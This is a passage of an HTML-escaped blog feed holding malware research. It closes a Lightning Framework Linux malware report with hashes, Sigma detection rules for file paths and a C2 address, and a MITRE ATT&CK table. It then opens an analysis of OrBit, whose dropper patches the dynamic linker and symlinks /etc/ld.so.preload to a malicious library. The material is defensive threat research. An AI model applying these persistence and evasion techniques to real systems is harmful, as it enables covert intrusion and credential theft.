&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Lightning Framework is an interesting malware as it is not common to see
such a large framework developed for targeting Linux. Although we do not have
all the files, we can infer some of the missing functionality based on strings
and code of the modules that we do possess. Check out our next blog here about
&lt;a href="../../../2022/08/lightning-framework-linux-detection-rules-osquery"&gt;detection opportunities for Lightning Framework using osquery&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We would like to extend a huge thanks to our friends and partners at IBM and
SentinelOne for their help during investigating this threat.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IOCs for Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="iocs-for-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#iocs-for-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Hashes&lt;span class="hx:absolute hx:-mt-20" id="hashes"&gt;&lt;/span&gt;
&lt;a href="#hashes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Downloader&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7?utm_campaign=research-blog&amp;amp;utm_content=lightning-framework-new-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e?utm_campaign=research-blog&amp;amp;utm_content=lightning-framework-new-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237?utm_campaign=research-blog&amp;amp;utm_content=lightning-framework-new-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Sigma Detection Rules&lt;span class="hx:absolute hx:-mt-20" id="sigma-detection-rules"&gt;&lt;/span&gt;
&lt;a href="#sigma-detection-rules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Lightning Framework File Path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;experimental&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Detects creation of files related to Lightning Framework.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Intezer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;references&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://intezer.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;logsource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;product&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;linux&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;file_create&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;selection1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TargetFilename|startswith&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;/usr/lib64/seahorses/&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;selection2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TargetFilename|contains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;kbioset&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;cpc&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;kkdmflush&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;soss&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;sshod&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;nethoogs&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;iftoop&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;iptraof&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;selection1 and selection2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;falsepositives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Unknown.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Lightning Default C2 Communication&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;experimental&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Detects communication to default local ip for Lightning Framework&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Intezer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;references&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://intezer.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;logsource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;firewall&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;select_outgoing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dst_ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10.2.22.67&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dst_port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;33229&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;select_outgoing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;falsepositives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Unknown.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;MITRE ATT&amp;amp;CK&lt;span class="hx:absolute hx:-mt-20" id="mitre-attck"&gt;&lt;/span&gt;
&lt;a href="#mitre-attck" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Boot or Logon Initialization Scripts&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1037/"target="_blank" rel="noopener"&gt;T1037&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;An init.d script is used for persistence of downloader module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;SSH Authorized Keys&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1098/004/"target="_blank" rel="noopener"&gt;T1098.004&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SSH keys can be added to the authorized_keys file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Obfuscated Files or Information&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1027/"target="_blank" rel="noopener"&gt;T1027&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The C2 profile is encoded on disk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Deobfuscate/Decode Files or Information&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1140/"target="_blank" rel="noopener"&gt;T1140&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The C2 profile is decoded with a dynamic XOR algorithm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Hide Artifacts&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1564/"target="_blank" rel="noopener"&gt;T1564&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Many artifacts are hidden including ports, PIDs, and file timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Masquerading&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1036/"target="_blank" rel="noopener"&gt;T1036&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Many files are masqueraded as other files or tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Rootkit&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1014/"target="_blank" rel="noopener"&gt;T1014&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;LKM and LD_PRELOAD rootkits are used&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Timestomp&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/006/"target="_blank" rel="noopener"&gt;T1070.006&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Files created by Lightning are modified to match that of other utilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;File Deletion&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/004/"target="_blank" rel="noopener"&gt;T1070.004&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The framework has the ability to remove itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;File and Directory Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1083/"target="_blank" rel="noopener"&gt;T1083&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The framework can list files and directories on infected systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Network Service Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1046/"target="_blank" rel="noopener"&gt;T1046&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Multiple plugins can be used to perform network service discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Network Sniffing&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1040/"target="_blank" rel="noopener"&gt;T1040&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Multiple plugins can be used to perform network sniffing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;System Information Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1082/"target="_blank" rel="noopener"&gt;T1082&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Lightning can perform detailed system fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Data Encoding&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1132/"target="_blank" rel="noopener"&gt;T1132&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Data from the C2 is encoded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Non-Application Layer Protocol&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1095/"target="_blank" rel="noopener"&gt;T1095&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Communication with the C2 is performed over TCP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Proxy&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1090/"target="_blank" rel="noopener"&gt;T1090&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The framework has the ability to start a Socks5 proxy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1041/"target="_blank" rel="noopener"&gt;T1041&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Data can be exfiltrated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>OrBit: New Undetected Linux Threat Uses Unique Hijack of Execution Flow</title><link>https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/</link><pubDate>Wed, 06 Jul 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/</guid><description>
&lt;p&gt;Linux is a popular operating system for servers and cloud infrastructures, and
as such it&amp;rsquo;s not a surprise that it attracts threat actors&amp;rsquo; interest and we see
a &lt;a href="https://www.ibm.com/downloads/cas/ADLMYLAZ"target="_blank" rel="noopener"&gt;continued growth&lt;/a&gt; and innovation
of malware that targets Linux, such as the recent
&lt;a href="../../../2022/06/new-linux-threat-symbiote"&gt;Symbiote&lt;/a&gt; malware that was
discovered by our research team.&lt;/p&gt;
&lt;p&gt;In this blog we will provide a deep technical analysis of a new and fully
undetected Linux threat we named OrBit, because this is one of the filenames
that is being used by the malware to temporarily store the output of executed
commands. It can be installed either with persistence capabilities or as a
volatile implant. The malware implements advanced evasion techniques and gains
persistence on the machine by hooking key functions, provides the threat actors
with remote access capabilities over SSH, harvests credentials, and logs TTY
commands. Once the malware is installed it will infect all of the running
processes, including new processes, that are running on the machine.&lt;/p&gt;
&lt;p&gt;Unlike other threats that hijack shared libraries by modifying the environment
variable &lt;code&gt;LD_PRELOAD&lt;/code&gt;, this malware uses 2 different ways to load the malicious
library. The first way is by adding the shared object to the configuration file
that is used by the loader. The second way is by patching the binary of the
loader itself so it will load the malicious shared object.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The OrBit Dropper&lt;span class="hx:absolute hx:-mt-20" id="the-orbit-dropper"&gt;&lt;/span&gt;
&lt;a href="#the-orbit-dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig1.png" title="The dropper sample on VT 67048a69a007c37f8be5d01a95f6a026" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The dropper sample on VT 67048a69a007c37f8be5d01a95f6a026&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The dropper installs the payload and prepares the environment for the malware
execution. The malware can be installed as a volatile module or with
persistence capabilities. It receives command line arguments and based on them
it extracts the payload to one of the locations. Using the command line
arguments the installation path can be swapped and the content of the payload
can be updated or entirely uninstalled. From here on in the report, we will
simply use &lt;code&gt;MALWARE_FOLDER&lt;/code&gt; as referring to the location where the malware has
been installed.&lt;/p&gt;
&lt;p&gt;To install the payload and add it to the shared libraries that are being loaded
by the dynamic linker, the dropper calls a function called &lt;code&gt;patch_ld&lt;/code&gt;. First,
it reads the symbolic link of the dynamic linker &lt;code&gt;/lib64/ld-linux-x86-64.so.2&lt;/code&gt;
and checks if the malicious payload is already loaded by searching for the path
used by the malware. If it is found the function can swap it with the other
location. Otherwise, it looks for &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; and replaces it with a
symbolic link to the location of malicious library: &lt;code&gt;/lib/libntpVnQE6mk/.l&lt;/code&gt; or
&lt;code&gt;/dev/shm/ldx/.l&lt;/code&gt; (depending on the on the argument passed to the dropper).
